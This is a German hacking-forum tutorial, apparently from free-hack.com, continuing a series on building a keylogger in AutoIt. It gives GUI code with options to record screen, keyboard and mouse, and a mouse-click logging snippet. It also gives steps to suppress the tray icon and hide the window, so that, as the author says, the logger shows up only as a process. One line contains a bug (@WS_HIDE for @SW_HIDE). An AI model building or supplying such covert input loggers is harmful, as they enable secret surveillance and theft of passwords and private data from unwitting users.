AutoIt Keylogger Tutorial Fortsetzung
Wenn ihr neu in AutoIt seit und euch noch nicht mit meinem ersten Keylogger Tutorial befasst habt empfehle ich euch dies zu tun! Im ersten Teil habe ich viele Funktionen erklärt mit welchen Funktionen ihr einen Key Logger bauen könnt, jedoch nicht wir ihr einen fertigen, voll funktionstüchtigen baut!
Vorweg
Dieses Tutorial kommt von mir ich habe mir extra die Mühe gemacht euch zu zeigen wie ihr nun die Befehle, die ihr aus dem ersten Tutorial habt, richtig in eine GUI und in ein funktionierendes Programm einbauen könnt. Ich mache das hier alles freiwillig also bitte lasst die "dummen" Kommentare, ich werde versuchen auf eure Fragen so schnell zu antworten, wie ich kann!
Einleitung und Erklärung
In diesem Tutorial erkläre ich die Funktionen aus meinem ersten Tutoiral nicht mehr! Stattdessen werde ich erkären wie ihr diese Funktionen in eine GUI(Graphical User Interface) und in ein vollständig funktionierendes Programm einbaut! Ich werde hier nicht erklären wie ihr eine GUI erstellt ich werde aber zeigen wie ihr einer GUI die Funktionen zuweist und sie zum laufen bekommt. Wenn ihr eine GUI erstellen wollt empfehle ich euch das Programm 'Koda', es ist der einzigst richtig funktionierende GUI-Editor in AutoIt der mir bekannt ist, es gibt auch von AutoIt Scriptern selbst erstellte Editoren, diese kann ich aus eigener Erfahrung jedoch nicht empfehlen!
Tutorial
Zuerst einmal zeige ich euch den Code der GUI(Mit dem ihr auch anfangen werdet, bzw. wenn ihr eine GUI überhaupt haben wollt!
Hier einmal der Code:
Hier sieht man nun einen schönen Code einer GUI in der man 3 Checkboxen, einen Button und eine Group findet, wichtig für uns sind nur die Checkboxen und der Button(Zum starten). Gucken wir uns einmal die ersten 2 Zeilen an dort finden wir den Befehl "#NoTrayIcon" in der zweiten Zeile und die Include Datei "GUIConstants.au3" in der ersten Zeile. "#NoTrayIcon" bewirkt das, das Porgramm ohne ein Tray Icon auftritt und in der Include Datei "GUIConstants.au3" enthält Variablen die bestimmte Dinge am Fenster der GUI(Das Fenster übrigens wird in AutoIt nur als GUI bezeichnet, also mache ich damit auch weiter!) Funktionen und Namen zuweist wie z.B. "$GUI_EVENT_CLOSE" diese Variable bestimmt die Funktion "Schließen" eines Fensters oder wie einige vielleicht besser verstehen werden diese Variable beschreibt das "X" Oben rechts in der Titel-Leiste eines jeden Fensters, sofern es denn auch ein Schließen-Button enthält(Diesen Button kann man durch GUI-Styles verschwinden lassen).Code:#include <GUIConstants.au3> #NoTrayIcon GUICreate("Keylogger", 130, 115, -1, -1) $Screen = GUICtrlCreateCheckbox("Spectate Screen", 8, 18, 111, 17) $Start = GUICtrlCreateButton("Start Spectating", 2, 86, 123, 25, 0) $Key = GUICtrlCreateCheckbox("Spectate Keyboard", 8, 38, 113, 17) $Mouse = GUICtrlCreateCheckbox("Spectate Mouse", 8, 58, 113, 17) GUICtrlCreateGroup("Settings", 2, 2, 123, 81) GUICtrlCreateGroup("", -99, -99, 1, 1) GUISetState(@SW_SHOW) While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit EndSwitch WEnd
So weiter gehts mit dem ersten Button! Diesen fügen wir ganz easy unten in die While-Schleife ein, indem wir eine Case in dem bereits forhanden Switch einfügen und ihn den Namen des gewünschten Buttons zufügen, dies erfolgt ohne Klammern oder ähnlichem. Hier einmal der Code:
So wie ihr sehen könnt haben wir der Variable "$Start" nun zu einem Switch hinzugefügt, was genau dieser Switch bewirkt findet man durch die darauffolgende Variable in diesem Falle "$nMsg", eine Zeile darüber steht die Funktion der Variable nämlich "GUIGetMsg()" dieser Befehl heisst soviel wie: Wenn es ein Event auf dem Button gibt z.B. durch einen Mausclick soll etwas passieren. In diesem Falle passiert das was in der dazugehören Case steht. Ihr seht das sich unter "Case $Start" bisher nur ein Satz befindet dieser Satz ist jedoch ein Kommentar was vom Compiler ignoriert wird, es beginnt immer mit ";".Code:While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $Start ;Hier kommen weitere Funktionen hin EndSwitch WEnd
Als nächstes widmen wir uns den Checkboxen! Dies ist ein sehr wichtiger und gut zu gebrauchender Teil des Tutorials, denn sonst würde der Key Logger alles aufnehmen was vielleicht nicht jeder Benutzer möchte. Das regeln wir nun ganz leicht mit einer If-Schleife(Solch eine Schleife kommt in fast jedem Programm vor, denn es ist die wichtigste Schleife beim Programmieren!).
Hier der Code:
Hier wird nun mit einer If-Schleife überprüft ob eine Checkbox vorhanden ist und zwar mit der Variable "$GUI_CHECKED" die überpfrüft ob eine Checkbox oder eine Radio Box gecheckt oder ungecheckt ist. Mit Variablen wie z.B. "$RM" halte ich fest welchen Status sie haben("$RM" = Record Mouse) wenn die Checkbox aktiviert ist dann ist die Variable True(Wahr) wenn nicht dann False(Falsch).Code:If GUICtrlRead($Screen) = $GUI_CHECKED Then $RS = True Else $RS = False EndIf If GUICtrlRead($Key) = $GUI_CHECKED Then $RK = True Else $RK = False EndIf If GUICtrlRead($Mouse) = $GUI_CHECKED Then $RM = True Else $RM = False EndIf
Nun können wir überprüfen ob die Checkboxen aktiviert sind was uns allerdings noch nicht viel bringt ohne weitere Funktionen. Als nächstes brauchen wir den Key Logger an sich der in einer While-Schleife läuft und am Anfang jeder Funktion überpfrüft ob eine Variable True oder False ist.
Hier ein kleiner Code:
So in dieser While Schleife überprüft der Keylogger nun jedesmal bevor er etwas tut, ob er überhaupt die erlaubnis hat, eine bestimmte Funktion auszuführen.Code:While 1 If $RS = True Then ;Screen Record EndIf If $RK = True Then ;Key Record EndIf If $RM = True Then ;Mouse Record EndIf WEnd
So nun einmal ein Zwischenstand des Codes:
Der Befehl GUISetState(@SW_HIDE) versteckt das Fenster, sodass euer Key Logger nurnoch als Prozess zu finden ist!Code:#include <GUIConstants.au3> #NoTrayIcon GUICreate("Keylogger", 130, 115, -1, -1) $Screen = GUICtrlCreateCheckbox("Spectate Screen", 8, 18, 111, 17) $Start = GUICtrlCreateButton("Start Spectating", 2, 86, 123, 25, 0) $Key = GUICtrlCreateCheckbox("Spectate Keyboard", 8, 38, 113, 17) $Mouse = GUICtrlCreateCheckbox("Spectate Mouse", 8, 58, 113, 17) GUICtrlCreateGroup("Settings", 2, 2, 123, 81) GUICtrlCreateGroup("", -99, -99, 1, 1) GUISetState(@SW_SHOW) While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $Start GUISetState(@WS_HIDE) If GUICtrlRead($Screen) = $GUI_CHECKED Then $RS = True Else $RS = False EndIf If GUICtrlRead($Key) = $GUI_CHECKED Then $RK = True Else $RK = False EndIf If GUICtrlRead($Mouse) = $GUI_CHECKED Then $RM = True Else $RM = False EndIf While 1 If $RS = True Then ;Screen Record EndIf If $RK = True Then ;Key Record EndIf If $RM = True Then ;Mouse Record EndIf WEnd EndSwitch WEnd
So nun fehlen nurnoch die Funktionen aus dem anderen Tutorial, wie ihr die einfügt habe ich euch mit netten Kommentaren makiert.
Ihr müsst meine Kommentare z.B. so ausstauschen:
";Mouse Record" ausstauschen mit:
Achtung! Bei einem Screen Record müsst ihr nun Zeitangaben benutzen! Dafür benuzt ihr am besten eine If-Schleife mit den Befehlen @HOUR, @MIN und @SEC! Denn ein Sleep Befehl verhindert eine gewisse Zeit die Aufnahme von Maus und Tastatur!Code:$Pos = MouseGetPos() If _IsPressed("01") Then _FileWriteLog("MouseLog.log","'left:'" & $Pos[0] & ":" & $Pos[1]) Sleep(120) EndIf
Und natürlich die includes oben nicht vergessen die ihr für die einzelnen Funktionen benötigt! Hier der Link zu meinem ersten Tutorial aus dem ihr die Funktionen bekommt: http://free-hack.com/viewtopic.php?t=55417
Viel spass und Erfolg beim Coden!
V!ruS

Zitieren
